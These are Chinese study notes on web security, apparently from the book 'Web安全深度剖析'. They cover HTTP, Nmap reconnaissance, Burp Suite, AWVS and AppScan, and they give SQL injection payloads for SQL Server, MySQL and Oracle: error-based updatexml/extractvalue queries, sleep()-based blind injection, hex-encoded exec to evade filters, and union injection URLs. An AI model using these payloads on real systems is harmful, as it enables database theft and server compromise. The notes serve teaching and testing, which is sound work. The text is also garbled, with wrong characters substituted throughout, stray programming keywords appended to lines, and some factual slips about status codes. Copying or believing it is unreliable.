Web安全深度剖析

1.Web安全简介

​ 攻击者想要对计算机进行渗透,有一个条件是必须的,就是攻击者的计算机与服务器必须可以正常通讯,服务器与客户端进行通讯依靠的就是端口。javascript

​ 现在的web应该称之为web应用程序,功能强大,离不开四个要点:数据库,编程语言,web容器和优秀的web应用程序设计者。php

​ web默认运行在服务器的80端口上,也是服务器所提供的服务之一,web攻击的方式很是多,主要有:css

  • C段渗透:攻击者经过渗透同一网段内的一台主机对目标主机进行ARP等手段的渗透html

  • 社会工程学:社会工程学是高端攻击者必须掌握的一个技能,渗透服务器有时候不只仅只靠技术前端

  • Services:不少传统的攻击方式是直接针对服务进行溢出的,至今一些软件仍然存在溢出漏洞。java

    ​ 黑帽子即利用黑客技术实施攻击,进行网络犯罪和牟利的人群,而白帽子则利用手中的技术进行反黑客的人群。python

2.深刻HTTP请求流程

HTTP协议解析

​ HTTP(HyperText Transfer Protocol)即超文本传输协议,是一种详细规定了浏览器和万维网服务器之间通讯的规则,它是万维网交换信息的基础,它容许将HTML(超文本标记语言)文档从web服务器传送到web浏览器。mysql

发起HTTP请求linux

​ 当在浏览器地址栏中输入一个URL,并按回车键后就发起了这个HTTP请求,很快就会看到这个请求的返回结果git

​ URL(统一资源定位符)也被称为网页地址,是互联网标准的地址。URL的标准格式以下: 协议://服务器IP [:端口]/路径/[?查询]

例如,http://www.xxser.com/post/httpxieyi.html就是一个标准的URL。

HTTP协议详解

​ HTTP协议目前最新版的版本是1.1,HTTP是一种无状态的协议,无状态是指web浏览器与web服务器之间不须要创建持久的链接,这意味着当一个客户端向服务器发出请求,而后web服务器返回响应,链接就被关闭了,在服务器端不保留链接的有关信息。也就是说,HTTP请求只能由客户端发起,而服务器不能主动向客户端发送数据。

1.HTTP请求与响应

(1)HTTP请求

​ HTTP请求包括三部分,分别是请求行(请求方法),请求头(消息报头)和请求正文。

img

POST /login.php HTTP/1.1           #请求行
HOST:www.xxser.com                #请求头
User-Agent:Mozilla/.0(Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0                       #空白行,表明请求头结束
Username=amdin&password=admin      #请求正文

    HTTP请求行的第一行即为请求行,请求行由三部分组成,该行的第一部分说明了该请求是POST请求;该行的第二部分是一个斜杠(/login.php),用来讲明请求的是该域名根目录下的login.php;该行的最后一部分说明使用的是HTTP1.1版本(另外一个选项是1.0)
    第二行至空白行为HTTP中的请求头(也被称为消息头)。其中,HOST表明请求的主机地址,User-Agent表明浏览器的标识。请求头由客户端自行决定。
HTTP请求的最后一行为请求正文,请求正文是可选的,它最常出如今POST请求方法中

(2)HTTP响应

​ 与HTTP请求对应的是HTTP响应,HTTP响应也由三部份内容组成,分别是响应行,响应头(消息报头)和响应正文(消息主题)。

img

HTTP/1.1 200 OK         #响应行
Date:Thu,28 Feb 2013 07:36:47 GMT #响应头
Server:BWS/1.0
Content-Length:4199
Content-Type:text/html;charset=utf-8
Cache-Control:private
Expires:Thu,28 Feb 2013 07:36:47 GMT
Content-Encoding:gzip
Set-Cookie: H_PS_PSSID=2022_1438_1944_1788;path=/;domain=.xxser.com
Connection:Keep-Alive     
                    #空白行,表明响应头结束
<html>
    <head><title>Index.html</title></head>
    ......
    
    
    HTTP响应的第一行为响应行,其中有HTTP版本(HTTP/1.1),状态码(200)以及消息‘OK’
    第二行末尾的空白行为响应头,由服务器向客户端发送
    消息报头以后是响应正文,是服务器向客户端发送的HTML数据

2.HTTP请求方法

(1)GET

​ GET方法用于获取指定页面的指定信息(以实体的方式)。若是请求资源为动态脚本(非HTML),那么返回文本是web容器解析后的HTML源代码,而不是源文件。例如请求index.jsp,返回的不是index.jsp的源文件,而是通过解析后的HTML代码。

(2)HEAD

​ HEAD方法除了服务器不能在响应里返回消息主体外,其余都与GET方法相同。此方法常常被用来测试超文本连接的有效性,可访问性和最近的改变。攻击者编写扫描工具时,就经常使用此方法,由于只测试资源是否存在,而不用返回消息主题,因此速度必定是最快的。

(3)POST

​ POST方法也与GET方法类似,可是最大的区别在于,GET方法没有请求内容,而POST是有请求内容。POST请求最多用于向服务器发送大量的数据。GET虽然也能发送数据,可是有大小(长度)的限制,而且GET请求会将发送的数据显示在浏览器端,而POST则不会,因此安全性相对高一些。

​ 例如:上传文件,提交留言等,只要是向服务器传输大量的数据,一般都会使用POST请求。

(4)PUT

​ PUT方法用于请求服务器把请求中的实体存储在请求资源下,若是请求资源已经在服务器中存在,那么将会用此请求中的数据替换原先的数据,做为指定资源的最新修订版。若是请求指定的资源不存在,将会建立这个资源,且数据为请求正文。一般状况下,服务器都会关闭PUT方法

(5)DELETE

​ DELETE方法用于请求源服务器删除请求的指定资源。服务器通常都会关闭此方法,由于客户端能够进行删除文件操做。

(6)TRACE

​ TRACE方法被用于激发一个远程的应用层的请求消息回路,也就是说,回显服务器收到的请求。TRACE方法容许客户端去了解数据被请求链的另外一端接收的状况,而且利用那些数据信息去测试或诊断。

(7)CONNECT

​ HTTP1.1协议规范保留了CONNECT方法,此方法是为了用于能动态切换到隧道的代理。

(8)OPTIONS

​ OPTIONS方法是用于请求得到由URL标识的资源在请求/响应的通讯过程当中能够使用的功能选项。经过这个方法,客户端能够在采起具体资源请求以前,决定对该资源采起何种必要措施,或者了解服务器的性能。

3.HTTP状态码

​ 当客户端发出HTTP请求,服务器端接受后,会向客户端发送响应消息,其中HTTP响应中的第一行中,最重要的一点就是HTTP状态码,内容以下

HTTP/1.1 200 OK

​ HTTP协议中的状态码由三位数字组成,第一位数字定义了响应的类别,且只有如下5种:

  • 1xx:信息提示,表示请求已被成功接收,继续处理,其范围为100~101

  • 2xx:成功,服务器成功处理了请求,其范围为200~206

  • 3xx重定向,重定向状态码用于告诉浏览器客户端,它们访问的资源已被移动,并告诉客户端新的资源地址位置,这时,浏览器将从新对新资源发起请求,其范围为300~305

  • 4xx:客户端错误状态码,客户端发送的内容格式错误等,或者请求了一个不存在的URL,其范围为400~415

  • 5xx:用来描述服务器内部错误的,其范围为500~505

    常见的状态码描述以下:

  • 200:客户端请求成功,是最多见的状态

  • 302:重定向

  • 404:请求资源不存在,是最多见的状态

  • 400:客户端请求有语法错误,不能被服务器所理解

  • 401:请求未经受权

  • 403:服务器收到请求,可是拒绝提供服务

  • 500:服务器内部错误,是最多见的状态

  • 503:服务器当前不能处理客户端的请求,一段时间可能会恢复正常

4.HTTP消息

​ HTTP消息又称为HTTP头,由四部分组成,分别是请求头,响应头,普通头和实体头。

(1)请求头

​ 请求头只出如今HTTP请求中,请求报头容许客户端向服务器端传递请求的附加消息和客户端自身的信息。常见的HTTP请求头以下:

①Host

​ Host请求报头域主要用于指定被请求资源的Internet主机和端口号,例如:HOST:www.xxser.com:801.

②User-Agent

​ User-Agent请求报头域容许客户端将它的操做系统,浏览器和其余属性告诉服务器。

③Referer

​ Rerfer包含一个URL,表明当前访问URL的上一个URL,也就是说,用户是从什么地方来到本页面

④Cookie

​ Cookie是很是重要的请求头,它是一段文本,经常使用来表示请求者身份等。

⑤Range

​ Range能够请求实体的部份内容,多线程下载必定会用到此请求头,例如:

  • 表示头500字节:bytes=0~499
  • 表示第二个500字节:bytes=500~999
  • 表示最后500字节:bytes=-500
  • 表示500字节之后的范围:bytes=500-

⑥x-forward-for

​ x-forward-for即XXF头,它表明请求端的IP,能够有多个,中间以逗号隔开

⑦Accept

​ Accept请求报头域用于指定客户端接收那些MIME类型的消息。如ACCEPT:text/html,表示客户端但愿接收HTML文本

⑧Accept-Charset

​ Accept-Charset请求报头域用于指定客户端接收的字符集。若是在请求消息没有设置这个域,默认是任何字符集均可以接受。

(2)响应头

​ 响应头是服务器根据请求向客户端发送的HTTP头,常见的HTTP响应头以下:

①Server

​ 服务器所使用的web服务器名称,如Server:Apache/1.3.6(Unix)攻击者经过查看此头,能够探测web服务器名称。因此建议在服务器端进行修改此头的消息。

②Set-Cookie

​ 向客户端设置Cookie,经过查看此头,能够清楚地看到服务器向客户端发送的Cookie信息

③Last-Modified

​ 服务器经过这个头告诉浏览器,资源的最后修改时间

④Location

​ 服务器经过这个头告诉浏览器去访问哪一个页面,浏览器接收到这个请求以后,一般会马上访问Location头所指向的页面。这个头一般配合302状态码使用。

⑤Refresh

​ 服务器经过Refresh头告诉浏览器定时刷新浏览器

(3)普通头

​ 在普通报头中,有少数报头域用于全部的请求和响应消息,但并不用于被传输的实体,只用于传输的消息。例如:Date,表示消息产生的日期和时间。Connection,容许发送指定链接的选项。例如,指定链接是连续二点,或者指定‘close’选项,通知服务器,在响应完成后,关闭链接。Cache-Control,用于指定缓存指令,缓存指令是单独的,且是独立的。

(4)实体头

​ 请求和响应消息均可以传送一个实体头。实体头定义了关于实体正文和请求所标识的资源的元信息。元信息也就是试题内容的属性,包括实体信息类型,长度,压缩方法,最后一次修改时间等。常见的实体头以下:

①Content-Type

​ Content-Type实体头用于向接收方指示实体的介质类型

②Content-Encoding

​ Content-Encoding头被用做媒体类型的修饰符,它的值指示了已经被应用到实体正文的附加内容的编码,于是要得到Content-Type报头域中所引用的媒体类型,必须采用对应的解码机制。

③Content-Length

​ Content-Length实体报头用于指明实体正文的长度,以字节方式存储的十进制数字来表示

④Last-Modified

​ Last-Modified实体报头用于指示资源的最后修改日期和时间

HTTP协议与HTTPS协议的区别

​ HTTPS协议的全称为Hypertext Transfer Protocol over Secure Socket Layer,它是以安全为目标的HTTP通道,其实就是HTTP的“升级”版本,只是它比单纯的HTTP协议更加安全。

​ HTTPS的安全基础是SSL,即在HTTP下加入SSL层。也就是HTTPS经过安全传输机制进行传送数据,这种机制可保护网络传送的全部数据的隐秘性与完整性,能够下降非侵入性拦截攻击的可能性。

​ HTTP协议与HTTPS协议的主要区别以下:

  • HTTP是超文本传输协议,信息是明文传输,HTTPS则是具备安全性的SSL加密传输协议。
  • HTTP与HTTP协议使用的是彻底不一样的链接方式,HTTP采用80端口链接,而HTTPS则是443端口。
  • HTTPS协议须要用到ca申请证书。通常免费证书不多,须要交费,也有些web容器提供,如TOMCAT.而HTTP协议却不须要。
  • HTTP链接相对简单,是无状态的,而HTTPS协议是由SSL+HTTP协议构建的可进行加密传输,身份认证的网络协议,相对来讲,它要比HTTP协议更安全

3.信息探测

搜索目标资料时应该搜集哪些资料呢?最主要的是服务器的配置信息和网站的信息

  • 网站注册人
  • 目标网站系统
  • 目标服务器系统
  • 目标网站相关子域名
  • 目标服务器所开放的端口和服务器存放网站等

只要是与目标网站相关联的信息,都应该尽可能去搜集。

Google Hack

  • 搜索子域名

    只要用Google搜索一下就能够(复杂是指要从海量的信息中寻找子域名)

  • 搜索web信息

    • site:指定域名
    • intext:正文中存在关键字的网页
    • intitle:标题中存在关键字的网页
    • info:一些基本信息
    • inurl:URL存在关键字的网页
    • filetype:搜索指定文件类型

Nmap

1.探测主机信息

Nmap经常使用扫描参数及说明

-sT:
  TCP connect()扫描,这种方式会在目标主机的日志中记录大批链接请求和错误信息

-sS

  半开扫描,不多有系统可以把它记入系统日志,不过,须要root权限

-sF -sN

  秘密FIN数据包扫描,Xmas Tree、Null扫描模式

-sP

  ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描

-sU

  UDP扫描,但UDP扫描是不可靠的

-sA

  这项高级的扫描方法一般都用来穿过防火墙的规则集

-P0

  扫描以前不须要ping命令,有些防火墙禁止用ping命令,能够使用此选项进行扫描

-v

  显示扫描进程,推荐使用

-h

  帮助选项,是最清楚的帮助文档

-p

  指定端口

-O

  启用远程操做系统检测,存在误报

-A

  全面系统检测、启用脚本检测、扫描等

-oN/-oX/-oG

  将报告写入文件,分别是正常、XML、grepable三种格式

-T4

  针对TCP端口禁止动态扫描延迟超过10ms

-iL

  读取主机列表。例如.”-iL C:\ip.txt“
案例:

1.扫描指定ip所开放的端口
命令:nmap -sS -p 1-65535 -v 192.168.1.106
#表示使用半开扫描,指定端口为1到65535,而且显示扫描过程

2.扫描 www.xxser.com C段存活本机
命令:namp -sP www.xxser.com/24

3.探测主机操做系统
命令:nmap -o www.xxser.com

4.指定端口扫描
命令:nmap -p 80,81,82 www.xxser.com

5.全面的系统探测
命令:nmap -v -A www.xxser.com
#Nmap默认扫描主机1000个高危端口,若须要全面检测端口,则须要加入”-p 1-65535“或者”-p-“

6.穿透防火墙进行扫描
命令:nmap -Pn -A www.2cto.com

2.Nmap脚本引擎

Nmap Script是Nmap最好的功能之一,利用Nmap Script能够快速探测服务器。

案例:

1.扫描web敏感目录
命令:nmap -p 80 --script=http-cnum.nse www.xxser.com

2.扫描sqlinjection
命令:
nmap -p 80 --script=sql-injection.nse www.xxser.com

3.使用全部的脚本进行扫描
命令:nmap --script all 127.0.0.1

4.使用通配符扫描
命令:nmap --script “http-*” 127.0.0.1

4.漏洞扫描

Burp Suite

功能:

  • Proxy

    一个拦截HTTP/S的代理服务器,做为一个在浏览器和目标应用程序之间的中间人,容许拦截、查看、修改在两个方向上的原始数据包

  • Spider

    一个应用智能感应的网络爬虫,它能完整地枚举应用程序的内容和功能

  • Scanner

    是一个高级工具,执行后,它能自动发现web应用程序的安全漏洞

  • Inrtruder

    是一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符、表单破解和信息搜集

  • Repeater

    是一个靠手动操做来补发单独的HTTP请求,并分析应用程序响应的工具

  • Sequencer

    是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具

  • Decoder

    是一个极为方便的解码/编码工具

  • Comparer

    是一个实用的工具,一般是经过一些相关的请求和响应获得两项数据的一个可视化的”差别“

Target
    Target模块是站点地图,该模块最主要的功能就是显示信息。如:它会默认记录浏览器访问的全部页面,而且使用spider模块扫描后,能够在此模块清晰地看到爬虫所爬行的页面及每一个页面的请求头以及响应信息。
    Target模块默认记录浏览器访问的全部页面,这样就致使目标站点的查看不方便,不过能够经过添加过滤器(Filter)来过滤非目标站点,解决显示杂乱的问题。
    具体办法:
    1.将目标站点添加到Scope
    在 ‘Target’ -> ‘Site map’ 区域中,用鼠标右键单击目标站点,而后选择‘add to scope’,此时Burp会生成一个正则表达式,并自动添加到‘Target’->'Scope'中。
    2.使用过滤器Filter
    在’Target‘->'Site map'中,Filter能够自由选择过滤类型,以使咱们进行查看。单击’Filter‘,选择’Show only in-scope items‘,只显示范围内的列表,便可进行过滤
    
    
Spider
    Spider能完整地枚举应用程序的内容和功能。
    在爬行的同时,Burp Suite默认会进行被动漏洞扫描,也就是检测每一个访问过的URL
    在进行爬行操做时,能够在’options‘选项卡中设置爬行规则,包括设置爬行线程,爬行深度,请求头,表单登陆等配置
    

Scanner
    Scanner模块能够有效地帮助渗透测试人员发现web应用程序的安全漏洞
    在’Scan queue‘模块中,能够看到扫描的进度,等待扫描结束后,能够在’Results‘模块中查看扫描结果。
    
--针对单一的URL进行测试:
    1.’Action‘ -> 'Do an acitve scan'
    
--进行全站扫描:
    1.选中须要进行扫描的网站,单击鼠标右键,选择’Active Scan this Host‘,将会看到主动扫描向导,能够选择删除不须要扫描的页面

(1)Remove duplicate items:删除重复的选项          
(2)Remove items with no parameters:删除没有任何参数的页面
(3)Remove items with following extensions:删除具备如下拓展名的页面,以逗号隔开

    2.单击next按钮,Burp Suite会给出将要扫描的列表。
 
    Scanner配置信息主要包括四个模块,选择options,在此能够定制扫描信息。
(1)Atttack Insertion Points
    参数扫描选项,在此模块中,能够选择URL,Cookies等参数
(2)Active Scaning Areas
    主动扫描漏洞,此模块能够配置扫描信息,例如SQL注入,XSS
(3)Acitve Scaning Engine
    扫描配置,此模块能够设置扫描线程、超时和最大请求链接
(4)Passive Scaning Areas
    被动扫描选项,此模块能够设置Header、Cookies
  

Intruder
    Intruder模块能够对web程序进行自动化攻击。在此模块中,最重要的时配置Attack Type、程序变量以及字典的设置
    具体配置以下:
    1.配置Attack Type
(1)Sniper:对变量依次进行破解
(2)Battering ram:对变量同时进行破解
(3)Pitch fork:每一个变量将会对应一个字典
(4)Cluster bomb:每一个变量将会对应一个字典,而且交集破解,尝试每个组合

    2.配置变量
    在’Positions‘模块中,能够在任意的请求头区域设置变量。
    
    3.配置字典
    在’Payloads‘模块下有如下四个区域
(1)Payload Sets
    - Payload Set:针对指定变量进行配置
    - Payload type:Payload类型,常见类型以下 
        Simple list:简单列表
        Runtime file:运行时读取列表
        Numbers:数字列表
        Dates:日期列表
(2)Payload Options
    默认为Simple list类型,若是设置为Payload type,此区域也会随之变化
(3)Payload Processing
    它能够有效地对字符串进行处理(字典的每一行),能够进行MD5加密、字符串截取、加入前缀、后缀等操做
(4)Payload Encoding
    在进行请求时,能够对针对某些字符进行URL转码
    
    4.配置选项:Option模块
    在此模块中,能够配置请求线程,请求结果集格式等。
    Intruder常见配置
(1)Request Engine:请求引擎设置,可设置线程、超时等信息
(2)Attack Results:攻击结果显示,可设置request、response等
(3)Grep-Match:识别response中是否存在此表达式或简单字符串
(4)Grep-Extract:经过正则截取response中的信息

AWVS

​ AWVS(Acunetix Web Vulnerability Scanner)是一个自动化的web应用程序安全测试工具,它能够扫描任何可经过web浏览器访问的和遵循HTTP/HTTPS规则的web站点和web应用程序。

​ AWVS能够快速扫描跨站脚本攻击(XSS)、SQL注入攻击、代码执行、目录遍历攻击、文件入侵、脚本源代码泄露、CRLF注入、PHP代码注入、XPath注入、LDAP注入、Cookie操纵、URL重定向、应用程序错误消息等。

​ AWVS的主要特色以下:

  • 具备AcuSensor技术
  • 自动客户端脚本分析器容许AJAX和web2.0应用程序进行安全测试
  • 先进的SQL注入和跨站脚本测试
  • 高级渗透测试工具,如HTTP编辑器和HTTP的Fuzzer
  • 视觉宏录制使测试web表单和密码保护的区域更容易
  • 支持页面验证,单点登陆和双因素认证机制
  • 普遍的报告设施,包括PCI合规性报告
  • 履带式智能检测web服务器的类型和应用语言
  • 端口扫描

​ AWVS小工具

1.HTTP Fuzzer
模糊测试工具,能够对web程序进行自动化攻击
2.HTTP Sniffer
此工具是一个代理工具,若是想要截取HTTP协议,则必须配置代理设置
3.Bling SQL Injector
该工具是一款盲注测试工具
4.Target Finder
该工具用于目标信息搜集,在此模块中能够进行端口扫描
5.Authentication Tests
它是认证测试小工具,在此模块中能够快速进行基于表单形式的破解
6.Compare Results
比较器,对两个结果进行比较
7.Subdomain Scanner
子域名扫描器,在此模块中能够快速扫描子域名
8.HTTP Editor
HTTP编辑器,在此模块中能够方便地修改HTTP头信息

AppScan

​ AppScan可自动化web应用的安全漏洞评估工做,能扫描和检测全部常见的web应用安全漏洞

​ AppScan的主要特色以下:

  • 支持Flash:它能够探索和测试基于Adobe的Flex框架的应用程序,也支持AMF协议
  • Glass box testing:在这个过程当中,安装一个代理服务器有助于发现隐藏的URL和其余的问题
  • web服务扫描:web服务扫描是AppScan中具备有效自动化支持的一个扫描功能
  • java脚本安全分析:AppScan中介绍了JavaScript安全性分析,分析抓取HTML页面漏洞,并容许用户专一于不一样的客户端问题和以DOM(文档对象模型)为基础的XSS问题
  • 报告:根据需求所生成的报告
  • 修复支持:对于肯定的漏洞,程序提供了相关的漏洞描述和修复方案
  • 可定制的扫描策略:AppScan配备一套自定义的扫描策略,能够定制适合本身须要的扫描策略
  • 工具支持:它有认证测试、令牌分析器和HTTP请求编辑器等工具的支持,方便手动测试漏洞
  • 具备AJAX和Dojo框架的支持

5.SQL注入漏洞

SQL注入原理

SQL注入漏洞的造成缘由:用户输入的数据被SQL解释器执行

注入漏洞分类

1.数字型注入

​ 当输入的参数为整型时,如:ID、年龄、页码等,若是存在注入漏洞,则能够认为是数字型注入。

2.字符型注入

​ 当输入参数为字符串时,则为字符型。数字型与字符型注入最大的区别在于:数字类型不须要单引号闭合,而字符串类型通常要使用单引号来闭合。

常见的注入叫法:
POST注入:注入字段在POST数据中
Cookie注入:注入字段在Cookie数据中
延时注入:使用数据库延时特性注入
搜索注入:注入处为搜索的地点
base64注入:注入字符串须要通过base64加密

3.常见数据库注入

利用方式分类:
1.查询数据
2.读写文件
3.执行命令

SQL Server

1.利用错误消息提取信息
(1)枚举当前表及列
输入语句:’having 1=1-                                                                        
    输入错误的SQL语句,根据报出的错误消息,依次进行递归查询,知道没有错误消息返回为止,这样就能够利用having子句“查询”出当前表的全部列名。
    
(2)利用数据类型错误提取数据
若是试图将一个字符串与非字符串比较,或者将一个字符串转换成另一个不兼容的类型时,那么SQL编辑器就会抛出异常

2.获取元数据
SQL Server提供了大量视图,便于取得元数据

经常使用的数据库视图
sys.databases:SQL Server中的全部数据库
sys.sql_logins:SQL Server中的全部登陆名
information_schema.tables:当前用户数据库中的表
information_schema.columns:当前用户数据库中的列
sys.all_columns:用户定义对象和系统对象的全部列的联合
sys.databases_principals:数据库中每一个权限或列异常权限
sys.databases_files:存储在数据库中的数据库文件
sysobjects:数据库中建立的每一个对象(例如约束、日志以及存储过程)

3.Order by子句
Order by子句为select查询的列排序,若是同时指定了TOP关键字,Order by子句在视图、内联函数、派生表和子查询中无效
攻击者一般会注入Order by语句来判断此表的列数,在得知列数后,攻击者一般会配合union关键字进行下一步的攻击

4.union查询
union关键字将两个或更多个查询结果组合为单个结果集,俗称联合查询
union合并两个查询结果集的基本规则:
--全部查询中的列数必须相同
--数据类型必须兼容 
(1)联合查询探测字段数
select id,username from users where id=1 union select null
递归查询,直到无错误产生,可得知user表查询的字段数
(2)联合查询敏感信息
若是得知列数为4,能够使用如下语句继续注入:
id=5 union select "x",null,null,null from sysobject where xtype='U'
若是第1列数据类型不匹配,数据库将会报错,这时就能够继续递归查询,直到语句正常执行为止。语句执行正常,表明数据类型兼容,就能够将x换为SQL语句,查询敏感信息。

5.无辜的函数
利用系统函数能够访问SQL Server系统表中的信息,而无需使用SQL语句查询。

系统函数举例:
select suser_name():返回用户的登陆标识名
select user_name():基于指定的标识号返回数据库用户名
select db_name():返回数据库名称
select is_member('db_owner'):是否为数据库角色
select convert(int,'5'):数据类型转换

经常使用函数:
stuff:字符串截取函数
ascii:取ASCII码
char:根据ASCII码取字符
getdate:返回日期
count:返回组中的总条数
cast:将一种数据类型的表达式显示转换为另外一种数据类型的表达式
rand:返回随机值
is_srvrolemember:指示SQL Server登陆名是否为指定服务器角色的成员

6.危险的存储过程
存储过程是在大型数据库系统为了完成特定功能的一组SQL”函数“,如:执行系统命令,查看注册表,读取磁盘目录等。
攻击者最常使用的存储过程时'xp_cmdshell',这个存储过程容许用户执行操做系统命令,攻击者能够直接利用xp_cmdshell操纵服务器。
#用户必须持有CONTROL_SERVER权限才能够使用此类存储过程

常见的危险存储过程:
sp_addlogin:建立新的SQL Server登陆,该登陆容许用户使用              SQL Server身份验证链接到SQL Server实例
sp_dropuser:从当前数据库中删除数据库用户
xp_enumgroups:提供Microsoft Windows本地组列表或在指定              的Windows域中定义的全局组列表
xp_regwrite:未被公布的存储过程,写入注册表
xp_regread:读取注册表
xp_regdeletevalue:删除注册表
xp_dirtree:读取目录
sp_password:更改密码
xp_servicecontrol:中止或激活某服务
    
另外,任何数据库在使用一些特殊的函数或存储过程时,都须要特定的权限,不然没法使用

SQL Server数据库的角色与权限以下:

bulkadmin:角色成员能够运行 BULK INSERT语句
dbcreator:角色成员能够建立、更改、删除和还原任何数据库
diskadmin:角色成员能够管理磁盘文件
processadmin:角色成员能够种植在数据库引擎实例中运行的进程
securityadmin:角色成员能够管理登陆名机器属性,能够利用              GRANT,DENY和REVOKE服务器级别的权限,还能够            利用GRANT,DENY和REVOKE数据库级别的权限,此            外,也可重置SQL Server登陆名的密码
serveradmin:角色成员能够更改服务器范围的配置选项和关闭服务             器
setupadmin:角色成员能够添加和删除连接服务器,并能够执行某           些系统存储过程
sysadmin:角色成员能够在数据库引擎中执行任何活动。默认状况         下,Windows BUILTIN\Administrator组(本地         管理员组)的全部成员都是sysadmin固定服务器角色的成员
    
    
7.动态执行
SQL Server支持动态执行语句,用户能够提交一个字符串来执行SQL语句,例如:
exec(‘selec’+'t username,password fro'+'m users')
也能够经过定义十六进制的SQL语句,使用exec函数执行。大部分web应用程序防火墙都过滤了单引号,利用exec执行十六进制SQL语句并不存在单引号,这一特性能够突破不少防火墙以及防注入程序,如:
declare @query varchar(888)
select @query=0x73656c56595454
exec(@query)

MySQL

1.注释
#:注释从”#“字符到行尾
--:注释从”--“序列到行尾,使用时后面须要跟上一个或多个空格
/**/:注释从/*到*/序列中间的字符

2.获取元数据

3.union查询

4.MySQL函数利用
(1)load_file()函数读文件操做
mysql提供了load_file()函数,能够帮助用户快速读取文件,但文件的位置必须在服务器上,文件必须为全路径名称(绝对路径),并且用户必须持有FILE权限,文件容量也必需要小于max_allowed_packet 字节(默认为16MB,最大为1GB)
(2)into outfile写文件操做
mysql提供了向磁盘写文件的操做,与load_file()同样,必须持有FILE权限,而且文件必须为全路径名称。
(3)链接字符串
在mysql查询中,若是须要一次查询多个数据,能够使用concat()
或concat_ws()函数来完成

经常使用mysql函数及说明
length--返回字符串长度
substring--截取字符串长度
ascii--返回ASCII码
hex--把字符串转换成十六进制
now--当前系统时间
floor(x)--返回不大于x的最大整数值
md5--返回MD5值
group_concat--返回带有来自一个组的链接的非NULL值的字符串结果
@@datadir--读取数据库路径
@@basedir--MySQL安装路径
@@version_compile_os--操做系统
user--用户名
current_user--当前用户名
system_user--系统用户名
database--数据库名
version--mysql数据库版本


5.mysql显错式注入
虽然mysql不能直接转换报错,但能利用mysql中的一些特性提取错误信息
(1)经过updatexml函数,执行sql语句
select * from message where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);
(2)经过extracvalue函数,执行sql语句
select * from message where id=1 and extractvalue(1,concat(0x7c,(select user())));
(3)经过floor函数,执行sql语句
select * from message where id=1 union select * from(select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b


6.宽字节注入
宽字节注入是由编码不统一所形成的,这种注入通常出如今PHP+MySQL中。在PHP配置文件中php.ini中存在magic_quotes_gpc选项,被称为魔术引号,当此选项被打开时,使用GET,POST,Cookie所接受的’(单引号)、"(双引号)、\(反斜线)和NULL字符都会被自动加上一个反斜线转义

7.mysql长字符截断
在mysql中的一个设置里有一个sql_mode选项,当sql_mode设置为default时,即没有开启STRICT_ALL_TABLES选项时(MySQL.sql_mode默认即default),MySQL对插入超长的值只会提示warning,而不是error,这样就可能会致使一些截断问题

8.延时注入
延时注入属于盲注技术的一种,是一种基于时间差别的注入技术。
思路:
(1)查询当前用户,并取得字符串长度
(2)截取字符串第一个字符,并转换为ASCII码
(3)将第一个字符的ASCII与ASCII码表对比,若是对比成功将延时3秒
(4)继续步骤(2),(3),直至字符串截取完毕
对应的SQL语句以下:
(1)and if(length(user())=0,sleep(3),1)
循环0,若是出现3秒延时,就能够判断出user字符串长度,注入时一般会采用半折算法减小判断
(2)and if(hex(mid(user(),1,1))=1,sleep(3),1)
取出user字符串的第一个字符,而后与ASCII码循环对比
(3)and if(hex(mid(user(),L,1))=N,sleep(3),1)
递归破解第二个ASCII码、第三个ASCII码,直至字符串最后一个字符为止
同理,既然经过延时注入能够读取数据库当前MySQL用户,那么读取表、列、文件都是能够实现的
#L的位置表明字符串的第几个字符,N的位置表明ASCII码
权限 权限级别 权限说明
create 数据库、表或索引 建立数据库、表或索引权限
drop 数据库或表 删除数据库或表权限
grant option 数据库、表或保存的程序 赋予权限选项
alter 更改表,好比添加字段
delete 删除数据权限
index 索引权限
insert 插入数据权限
select 查询数据
update 更新权限
create view 视图 建立视图权限
show view 视图 查看视图权限
alter routine 存储过程 更改存储过程权限
create routine 存储过程 建立存储过程权限
execute 存储过程 执行存储过程权限
file 服务器主机上的文件访问 文件访问权限
create temporary tables 服务器管理 建立临时表权限
lock tables 服务器管理 建立临时表权限
create user 服务器管理 建立用户权限
process 服务器管理 查看进程权限
reload 服务器管理 执行flush-hosts、flush-logs、flush-privileges等命令权限
replication client 服务器管理 复制权限
replicaion slave 服务器管理 复制权限
show databases 服务器管理 查看数据库权限
shutdown 服务器管理 关闭数据库权限
super 服务器管理 执行kill线程权限

Oracle

1.获取元数据
(1)user_tablespaces视图,查看表空间
select tablespace_name from user_tablespaces
(2)user_table视图,查看当前用户的全部表
select table_name from user_tables where rownum=1
(3)user_tab_columns视图,查看当前用户的全部列
select column_name from user_tab_column where table_name = 'users'
(4)all_users视图,查看Oracle数据库的全部用户
select username from all_users
(5)user_objects视图,查看当前用户的全部对象(表名称、约束、索引)
select object_name from user_objects

2.union查询
Oracle存在注入漏洞,操做步骤:
(1)获取列的总数
Order by 1,Order by 2,Oreder by n,直至与原始请求返回数据不一样
Union select null,null,null...from dual
#dual--虚拟表,不知道存在哪些表的状况下使用此表做为查询表
(2)获取敏感信息
Oracle常见的敏感信息以下:
当前用户权限:select * from session_roles
当前数据库版本:
select banner from sys.v_$version where rownum=1
服务器出口IP:用utl_http.request能够实现
服务器监听IP:
select utl_inaddr.get_host_address from dual
服务器操做系统:select member from v$logfile where rownum=1
服务器sid:select instance_name from $instance
当前链接用户:select SYS_CONTEXT('USERENV','CURRENT_USER')from dual
(3)获取数据库表及其内容
在得知表的列数之后,能够经过查询元数据的方式查询表名称、列、而后查询数据,再查询数据时一样要注意数据类型,不然没法查询,这只能一一测试
http://www.secbug.org/news.jsp?id=1 union select username,null,null from users--
另外,在得知列数以后,能够经过暴力破解的方式来枚举表名称,如:
http://www.secbug.org/news.jsp?id=1 union select null,null,null from tableName--


3.Oracle中包
Oracle包能够分为两部分,一部分是包的规范,至关于Java中的接口,另外一部分是包体,至关于Java里接口的实现类,实现了具体的操做
在Oracle注入中,攻击者大概都知道一个包:UTL_HTTP,该包提供了对HTTP的一些操做,好比:
SELECT UTL_HTTP.REQUEST('http://www.baidu.com') FROM DUAL;
执行这条sql语句,将返回baidu.com的HTML源码

常见的包及文件说明

包名称 包头文件 说明
dbms_aleri dbmsalrt.sql 异步处理数据库事件
